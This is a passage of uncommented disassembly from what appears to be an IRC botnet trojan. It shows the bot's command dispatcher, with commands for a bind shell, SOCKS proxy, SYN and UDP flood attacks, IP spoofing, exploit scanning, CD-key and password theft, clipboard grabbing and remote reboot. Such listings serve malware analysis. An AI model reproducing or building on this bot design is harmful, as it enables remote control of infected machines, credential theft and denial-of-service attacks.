[ebp+var_4AF0] push offset asc_42CA2C ; " " push eax call sub_41C0F4 add esp, 20h mov [ebp+var_90], eax lea edi, [ebp+var_8C] mov [ebp+arg_10], 1Fh loc_40294A: ; CODE XREF: sub_401ACD+E92j push offset asc_42CA2C ; " " push ebx call sub_41C0F4 mov [edi], eax pop ecx add edi, 4 dec [ebp+arg_10] pop ecx jnz short loc_40294A mov ecx, [ebp+esi+var_90] lea eax, [ebp+esi+var_90] cmp ecx, ebx jz loc_401E94 add ecx, 3 mov [eax], ecx loc_40297C: ; CODE XREF: sub_401ACD+CB8j mov edi, [ebp+esi+var_90] push edi push offset aRndnick ; "rndnick" mov [ebp+arg_8], edi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409802 push edi push offset aRn ; "rn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409802 push edi push offset aDie ; "die" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4049FC push edi push offset aD ; "d" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4049FC push edi push offset aLogout ; "logout" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404954 push edi push offset aLo ; "lo" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404954 push edi push offset aVersion ; "version" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404945 push edi push offset aVer ; "ver" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404945 push edi push offset aDedication ; "dedication" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40493B push edi push offset aDed ; "ded" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40493B push edi push offset aSpeedtest ; "speedtest" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404922 push edi push offset aSt ; "st" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404922 push edi push offset aSecure ; "secure" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404824 push edi push offset aSec ; "sec" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404824 push edi push offset aUnsecure ; "unsecure" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404824 push edi push offset aUnsec ; "unsec" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404824 push edi push offset aBindshell ; "bindshell" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40471E push edi push offset aBd ; "bd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40471E push edi push offset aBindshellstop ; "bindshellstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402B40 push [ebp+esi+var_8C] push 6 push offset aServer_0 ; "Server" push offset dword_42C66C loc_402B24: ; CODE XREF: sub_401ACD+10C1j ; sub_401ACD+10E7j ... push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B384 add esp, 20h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_402B40: ; CODE XREF: sub_401ACD+1042j push edi push offset aSocks4 ; "socks4" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045FC push edi push offset aS4 ; "s4" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045FC push edi push offset aSocks4stop ; "socks4stop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402B90 push [ebp+esi+var_8C] push 19h push offset aServer_0 ; "Server" push offset dword_42C644 jmp short loc_402B24 ; --------------------------------------------------------------------------- loc_402B90: ; CODE XREF: sub_401ACD+10ACj push edi push offset aRloginstop ; "rloginstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402BB9 push [ebp+esi+var_8C] push 9 push offset aServer_0 ; "Server" push offset dword_42C628 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402BB9: ; CODE XREF: sub_401ACD+10D2j push edi push offset aHttpstop ; "httpstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402BE2 push [ebp+esi+var_8C] push 3 push offset aServer_0 ; "Server" push offset dword_42C60C jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402BE2: ; CODE XREF: sub_401ACD+10FBj push edi push offset aLogstop ; "logstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402C0B push [ebp+esi+var_8C] push 25h push offset dword_42C5F8 push offset dword_42C5EC jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402C0B: ; CODE XREF: sub_401ACD+1124j push edi push offset aRedirectstop ; "redirectstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402C34 push [ebp+esi+var_8C] push 18h push offset dword_42C5CC push offset dword_42C5BC jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402C34: ; CODE XREF: sub_401ACD+114Dj push edi push offset dword_42C5B0 call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402C5D push [ebp+esi+var_8C] push 0Dh push offset dword_42C5A4 push offset dword_42C598 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402C5D: ; CODE XREF: sub_401ACD+1176j push edi push offset aSynstop ; "synstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402C86 push [ebp+esi+var_8C] push 0Eh push offset dword_42C584 push offset dword_42C578 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402C86: ; CODE XREF: sub_401ACD+119Fj push edi push offset aSkysynstop ; "skysynstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402CAF push [ebp+esi+var_8C] push 10h push offset dword_42C55C push offset dword_42C54C jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402CAF: ; CODE XREF: sub_401ACD+11C8j push edi push offset aTarga3stop ; "targa3stop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402CD8 push [ebp+esi+var_8C] push 11h push offset dword_42C530 push offset dword_42C520 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402CD8: ; CODE XREF: sub_401ACD+11F1j push edi push offset aWonkstop ; "wonkstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402D01 push [ebp+esi+var_8C] push 12h push offset dword_42C508 push offset dword_42C4FC jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402D01: ; CODE XREF: sub_401ACD+121Aj push edi push offset aPacketstop ; "packetstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_402E57 mov esi, [ebp+esi+var_8C] mov edi, [ebp+arg_4] push esi push 0Dh push offset dword_42C5A4 push offset dword_42C598 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push esi push 0Eh push offset dword_42C584 push offset dword_42C578 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 add esp, 40h push esi push 17h push offset dword_42C4E4 push offset dword_42C4D8 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push esi push 16h push offset dword_42C4CC push offset dword_42C4C0 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 add esp, 40h push esi push 11h push offset dword_42C530 push offset dword_42C520 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push esi push 12h push offset dword_42C508 push offset dword_42C4FC push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 add esp, 40h push esi push 0Fh push offset dword_42C4B0 push offset dword_42C4A0 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push esi push 13h push offset dword_42C490 push offset dword_42C480 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 add esp, 40h push esi push 10h push offset dword_42C55C push offset dword_42C54C push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push ebx push [ebp+var_4] push offset unk_42C44C push [ebp+var_88] push edi call sub_409A72 add esp, 34h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_402E57: ; CODE XREF: sub_401ACD+1243j push edi push offset aTsunamistop ; "tsunamistop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402E80 push [ebp+esi+var_8C] push 0Fh push offset dword_42C4B0 push offset dword_42C4A0 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402E80: ; CODE XREF: sub_401ACD+1399j push edi push offset aWisdomstop ; "wisdomstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402EA9 push [ebp+esi+var_8C] push 13h push offset dword_42C490 push offset dword_42C480 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402EA9: ; CODE XREF: sub_401ACD+13C2j push edi push offset aUdpstop ; "udpstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402ED2 push [ebp+esi+var_8C] push 17h push offset dword_42C4E4 push offset dword_42C4D8 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402ED2: ; CODE XREF: sub_401ACD+13EBj push edi push offset aPingstop ; "pingstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402EFB push [ebp+esi+var_8C] push 16h push offset dword_42C4CC push offset dword_42C4C0 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402EFB: ; CODE XREF: sub_401ACD+1414j push edi push offset aTftpstop ; "tftpstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402F24 push [ebp+esi+var_8C] push 5 push offset aServer_0 ; "Server" push offset dword_42C404 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402F24: ; CODE XREF: sub_401ACD+143Dj push edi push offset aFindfilestop ; "findfilestop" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045E4 push edi push offset aFfstop ; "ffstop" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045E4 push edi push offset aProcsstop ; "procsstop" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045CC push edi push offset aPsstop ; "psstop" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045CC push edi push offset aClonestop ; "clonestop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402FA1 push [ebp+esi+var_8C] push 1Fh push offset aClone ; "Clone" push offset dword_42C3B4 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402FA1: ; CODE XREF: sub_401ACD+14BAj push edi push offset aSecurestop ; "securestop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402FCA push [ebp+esi+var_8C] push 22h push offset aSecure_0 ; "Secure" push offset dword_42C390 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402FCA: ; CODE XREF: sub_401ACD+14E3j push edi push offset aScanstop ; "scanstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402FF3 push [ebp+esi+var_8C] push 0Bh push offset aScan_0 ; "Scan" push offset dword_42C370 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402FF3: ; CODE XREF: sub_401ACD+150Cj push edi push offset aScanstats ; "scanstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045B6 push edi push offset aStats ; "stats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045B6 push edi push offset aTransferstats ; "transferstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045A0 push edi push offset aTrstats ; "trstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045A0 push edi push offset aConnectbacksta ; "connectbackstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40458A push edi push offset aCbstats ; "cbstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40458A push edi push offset aExploitlist ; "exploitlist" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404574 push edi push offset aExplist ; "explist" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404574 push edi push offset aReconnect ; "reconnect" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404555 push edi push offset aR ; "r" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404555 push edi push offset aDisconnect ; "disconnect" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404533 push edi push offset aDc ; "dc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404533 push edi push offset aQuit_0 ; "quit" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044EB push edi push offset aQ ; "q" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044EB push edi push offset aStatus ; "status" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044D7 push edi push offset aS_0 ; "s" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044D7 push edi push offset aId ; "id" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044A0 push edi push offset aI ; "i" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044A0 push edi push offset aReboot ; "reboot" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4031BF call sub_418337 test eax, eax mov eax, offset unk_42C2AC jnz short loc_403191 mov eax, offset unk_42C284 loc_403191: ; CODE XREF: sub_401ACD+16BDj push eax lea eax, [ebp+var_2C4] push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 1Ch jmp loc_4083BC ; --------------------------------------------------------------------------- loc_4031BF: ; CODE XREF: sub_401ACD+16AFj push edi push offset aThreads ; "threads" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4043C1 push edi push offset aT ; "t" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4043C1 push edi push offset aAliases ; "aliases" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40439E push edi push offset aAl ; "al" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40439E push edi push offset aLog ; "log" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4042AB push edi push offset aLg ; "lg" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4042AB push edi push offset aClearlog ; "clearlog" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404292 push edi push offset aClg ; "clg" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404292 push edi push offset aNetinfo ; "netinfo" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404258 push edi push offset aNi ; "ni" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404258 push edi push offset aSysinfo ; "sysinfo" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40422D push edi push offset aSi ; "si" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40422D push edi push offset aLsp100 ; "lsp100" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4041F3 push edi push offset aLsp100 ; "lsp100" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4041F3 push edi push offset aProcs ; "procs" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4040D0 push edi push offset aPs ; "ps" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4040D0 push edi push offset aGetcdkeys ; "getcdkeys" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4040B2 push edi push offset aKey ; "key" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4040B2 push edi push offset aUptime ; "uptime" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40402A push edi push offset aUp ; "up" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40402A push edi push offset aDriveinfo ; "driveinfo" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40400D push edi push offset aDrv ; "drv" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40400D push edi push offset aTestdlls ; "testdlls" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403FF4 push edi push offset aDll ; "dll" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403FF4 push edi push offset aOpencmd ; "opencmd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403FB5 push edi push offset aOcmd ; "ocmd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403FB5 push edi push offset aCmdstop ; "cmdstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40340A push [ebp+esi+var_8C] push 0Ah push offset dword_42C1C4 push offset dword_42C1B8 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_40340A: ; CODE XREF: sub_401ACD+1923j push edi push offset dword_42C1B4 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_403527 cmp [ebp+var_8], ebx jnz short loc_40343E push ebx push [ebp+var_4] push offset dword_42C1A0 push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_40343E: ; CODE XREF: sub_401ACD+1955j mov eax, [ebp+arg_18] mov [ebp+arg_20], ebx mov [ebp+arg_18], eax jmp short loc_40344C ; --------------------------------------------------------------------------- loc_403449: ; CODE XREF: sub_401ACD+19CBj mov eax, [ebp+arg_18] loc_40344C: ; CODE XREF: sub_401ACD+197Aj cmp [eax], bl jz short loc_403453 inc eax jmp short loc_403458 ; --------------------------------------------------------------------------- loc_403453: ; CODE XREF: sub_401ACD+1981j mov eax, offset aEmpty ; "<Empty>" loc_403458: ; CODE XREF: sub_401ACD+1984j push eax lea eax, [ebp+var_2C4] push [ebp+arg_20] push offset aD_S ; "%d. %s" push eax call sub_41B886 push 1 lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add [ebp+arg_18], 80h add esp, 24h inc [ebp+arg_20] cmp [ebp+arg_20], 3 jl short loc_403449 push offset unk_42C16C call sub_4151AC pop ecx loc_4034A5: ; CODE XREF: sub_401ACD+1C5Aj ; sub_401ACD+2F43j mov eax, [ebp+esi+var_8C] cmp eax, ebx mov [ebp+arg_10], eax jz loc_401E94 push edi push offset aSpoof ; "spoof" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_404AF4 mov esi, [ebp+arg_10] push offset aOff ; "off" push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_404A22 lea eax, [ebp+var_2C4] push offset unk_42C138 push eax mov dword_4CE728, ebx call sub_41B886 pop ecx pop ecx loc_4034FD: ; CODE XREF: sub_401ACD+3022j cmp [ebp+var_8], ebx jnz loc_409854 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 loc_40351F: ; CODE XREF: sub_401ACD+7118j add esp, 14h jmp loc_409854 ; --------------------------------------------------------------------------- loc_403527: ; CODE XREF: sub_401ACD+194Cj push edi push offset aGetclip ; "getclip" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F74 push edi push offset aGc ; "gc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F74 push edi push offset aFlusharp ; "flusharp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F5D push edi push offset aFarp ; "farp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F5D push edi push offset aFlushdns ; "flushdns" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F25 push edi push offset aFdns ; "fdns" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F25 push edi push offset aCurrentip ; "currentip" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403EEB push edi push offset aCip ; "cip" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403EEB push edi push offset aRloginserver ; "rloginserver" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403DB0 push edi push offset aRlogin ; "rlogin" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403DB0 push edi push offset aHttpserver ; "httpserver" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403C24 push edi push offset aHttp ; "http" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403C24 push edi push offset aTftpserver ; "tftpserver" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403AEA push edi push offset aTftp ; "tftp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403AEA push edi push offset aCrash ; "crash" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4036B3 lea eax, [ebp+var_2C4] push offset dword_42C090 push eax call sub_41B886 cmp [ebp+var_8], ebx pop ecx pop ecx jnz short loc_403692 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_403692: ; CODE XREF: sub_401ACD+1BA7j lea eax, [ebp+var_2C4] push eax call sub_4151AC mov [esp+10h+var_10], offset aCrash ; "crash" push [ebp+esi+var_7C] call sub_41C070 jmp loc_40207C ; --------------------------------------------------------------------------- loc_4036B3: ; CODE XREF: sub_401ACD+1B8Fj push edi push offset aAsc ; "asc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4037E6 push edi push offset aSa ; "sa" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4037E6 push edi push offset aPhonehome ; "phonehome" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_403707 lea eax, [ebp+var_C4] push eax push offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n" push [ebp+arg_4] call sub_409A2C jmp loc_401F52 ; --------------------------------------------------------------------------- loc_403707: ; CODE XREF: sub_401ACD+1C1Fj push edi push offset aFindpass ; "findpass" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_40372D push edi push offset aFp ; "fp" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4034A5 loc_40372D: ; CODE XREF: sub_401ACD+1C49j push [ebp+var_88] lea eax, [ebp+var_F54] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_F58], eax mov eax, [ebp+var_4] mov [ebp+var_ED0], eax mov eax, [ebp+var_8] mov [ebp+var_ECC], eax push offset unk_42C020 lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 26h push eax call sub_40B0F6 add esp, 18h mov [ebp+var_ED4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_F58] push ebx push eax push offset sub_416F1A push ebx push ebx call near ptr 2670000h nop mov ecx, [ebp+var_ED4] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_4037D5 loc_4037BF: ; CODE XREF: sub_401ACD+1D06j cmp [ebp+var_EC8], ebx jnz loc_4083BC push 32h call near ptr 2660F57h nop jmp short loc_4037BF ; --------------------------------------------------------------------------- loc_4037D5: ; CODE XREF: sub_401ACD+1CF0j nop call near ptr 2670763h push eax push offset unk_42BFE4 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_4037E6: ; CODE XREF: sub_401ACD+1BF5j ; sub_401ACD+1C0Aj mov al, byte_4315EA mov [ebp+arg_0], ebx cmp al, bl mov edx, offset byte_4315EA jz loc_401E94 mov ecx, edx loc_4037FD: ; CODE XREF: sub_401ACD+1D38j inc [ebp+arg_0] add ecx, 0Bh cmp [ecx], bl jnz short loc_4037FD cmp al, bl jz loc_401E94 mov [ebp+arg_18], edx mov esi, offset aF ; "#f" loc_403817: ; CODE XREF: sub_401ACD+2008j push 0Bh call sub_40B33E pop ecx mov ecx, eax mov eax, 190h cdq idiv [ebp+arg_0] add eax, ecx cmp eax, 1F4h jle short loc_403866 push ecx lea eax, [ebp+var_2C4] push offset unk_42BFA4 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 20h jmp loc_403ACC ; --------------------------------------------------------------------------- loc_403866: ; CODE XREF: sub_401ACD+1D64j or [ebp+var_730], 0FFFFFFFFh cmp dword_431408, ebx mov [ebp+var_734], 64h mov [ebp+var_748], 5 mov [ebp+var_744], 320h mov [ebp+arg_0], ebx jz short loc_4038D7 mov edi, offset dword_431408 loc_40389B: ; CODE XREF: sub_401ACD+1DECj mov eax, [ebp+arg_18] add eax, 0FFFFFFF6h push eax lea eax, [edi-28h] push eax call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4038BD inc [ebp+arg_0] add edi, 40h cmp [edi], ebx jnz short loc_40389B jmp short loc_4038D7 ; --------------------------------------------------------------------------- loc_4038BD: ; CODE XREF: sub_401ACD+1DE2j mov eax, [ebp+arg_0] mov ecx, eax mov [ebp+var_730], eax shl ecx, 6 mov ecx, dword_431408[ecx] mov [ebp+var_74C], ecx loc_4038D7: ; CODE XREF: sub_401ACD+1DC7j ; sub_401ACD+1DEEj cmp [ebp+var_74C], ebx jz loc_403AE0 push 10h lea eax, [ebp+var_2D4] pop edi push eax lea eax, [ebp+var_30C] push eax mov [ebp+var_2D4], edi push [ebp+arg_4] call dword_4CAF18 mov al, [ebp+var_8FF] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_308], eax push [ebp+var_308] call dword_4CB000 push eax lea eax, [ebp+var_860] push eax call sub_41B5F0 xor eax, eax cmp [ebp+var_8FF], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_860] push eax call sub_41BE40 add esp, 14h cmp edi, ebx mov byte ptr [ebp+arg_24+3], bl jle short loc_40397F loc_40395D: ; CODE XREF: sub_401ACD+1EB0j cmp eax, ebx jz short loc_40397F mov byte ptr [eax], 78h lea eax, [ebp+var_860] push 30h push eax call sub_41BE40 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_40395D loc_40397F: ; CODE XREF: sub_401ACD+1E8Ej ; sub_401ACD+1E92j mov eax, [ebp+arg_4] push [ebp+var_88] mov [ebp+var_750], eax mov eax, [ebp+var_4] mov [ebp+var_728], eax mov eax, [ebp+var_8] mov [ebp+var_724], eax mov edi, 80h lea eax, [ebp+var_850] push edi push eax mov [ebp+var_720], 1 call sub_41B980 push offset dword_43D128 push esi call sub_41C070 add esp, 14h test eax, eax jz short loc_4039E1 push esi lea eax, [ebp+var_7D0] push edi push eax call sub_41B980 add esp, 0Ch jmp short loc_4039E7 ; --------------------------------------------------------------------------- loc_4039E1: ; CODE XREF: sub_401ACD+1EFFj mov [ebp+var_7D0], bl loc_4039E7: ; CODE XREF: sub_401ACD+1F12j cmp [ebp+var_720], ebx mov eax, offset aRandom ; "Random" jnz short loc_4039F9 mov eax, offset aSequential ; "Sequential" loc_4039F9: ; CODE XREF: sub_401ACD+1F25j push [ebp+var_734] lea ecx, [ebp+var_860] push [ebp+var_744] push [ebp+var_748] push [ebp+var_74C] push ecx push eax lea eax, [ebp+var_2C4] push offset unk_42BF24 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B0F6 add esp, 2Ch mov [ebp+var_740], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_860] push ebx push eax push offset loc_40C33C push ebx push ebx call near ptr 2670000h nop mov ecx, [ebp+var_740] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_403A83 loc_403A71: ; CODE XREF: sub_401ACD+1FB4j cmp [ebp+var_71C], ebx jnz short loc_403A9E push 32h nop call near ptr 2660F57h jmp short loc_403A71 ; --------------------------------------------------------------------------- loc_403A83: ; CODE XREF: sub_401ACD+1FA2j nop call near ptr 2670763h push eax lea eax, [ebp+var_2C4] push offset unk_42BEE8 push eax call sub_41B886 add esp, 0Ch loc_403A9E: ; CODE XREF: sub_401ACD+1FAAj cmp [ebp+var_8], ebx jnz short loc_403ABF push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_403ABF: ; CODE XREF: sub_401ACD+1FD4j lea eax, [ebp+var_2C4] push eax call sub_4151AC pop ecx loc_403ACC: ; CODE XREF: sub_401ACD+1D94j add [ebp+arg_18], 0Bh mov eax, [ebp+arg_18] cmp [eax], bl jnz loc_403817 jmp loc_401E94 ; --------------------------------------------------------------------------- loc_403AE0: ; CODE XREF: sub_401ACD+1E10j push offset unk_42BEB0 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_403AEA: ; CODE XREF: sub_401ACD+1B65j ; sub_401ACD+1B7Aj push 5 call sub_40B33E test eax, eax pop ecx jle short loc_403B00 push offset unk_42BE90 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_403B00: ; CODE XREF: sub_401ACD+2027j mov eax, [ebp+esi+var_8C] cmp eax, ebx jz short loc_403B23 push eax mov edi, 104h lea eax, [ebp+var_2D50] push edi push eax call sub_41B980 add esp, 0Ch jmp short loc_403B37 ; --------------------------------------------------------------------------- loc_403B23: ; CODE XREF: sub_401ACD+203Cj mov edi, 104h lea eax, [ebp+var_2D50] push edi push eax push ebx nop call near ptr 2660000h loc_403B37: ; CODE XREF: sub_401ACD+2054j mov esi, [ebp+esi+var_88] cmp esi, ebx jnz short loc_403B47 mov esi, offset byte_429108 loc_403B47: ; CODE XREF: sub_401ACD+2073j push esi lea eax, [ebp+var_2C4C] push edi push eax call sub_41B980 mov eax, dword_429078 push 7Fh push [ebp+var_88] mov [ebp+var_2B40], eax mov eax, [ebp+arg_4] mov [ebp+var_2B44], ebx mov [ebp+var_2D54], eax lea eax, [ebp+var_2B3C] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_2ABC], eax mov eax, [ebp+var_8] mov [ebp+var_2AB8], eax lea eax, [ebp+var_2D50] push eax lea eax, [ebp+var_2C4] push [ebp+var_2B40] push offset unk_42BE5C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 5 push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_2B48], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2D54] push ebx push eax push offset word_411796 push ebx push ebx call near ptr 2670000h nop mov ecx, [ebp+var_2B48] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_403C13 loc_403BFD: ; CODE XREF: sub_401ACD+2144j cmp [ebp+var_2AB4], ebx jnz loc_40828B push 32h nop call near ptr 2660F57h jmp short loc_403BFD ; --------------------------------------------------------------------------- loc_403C13: ; CODE XREF: sub_401ACD+212Ej nop call near ptr 2670763h push eax push offset unk_42BE20 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_403C24: ; CODE XREF: sub_401ACD+1B3Bj ; sub_401ACD+1B50j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_403C43 push edi call sub_41B779 test eax, eax 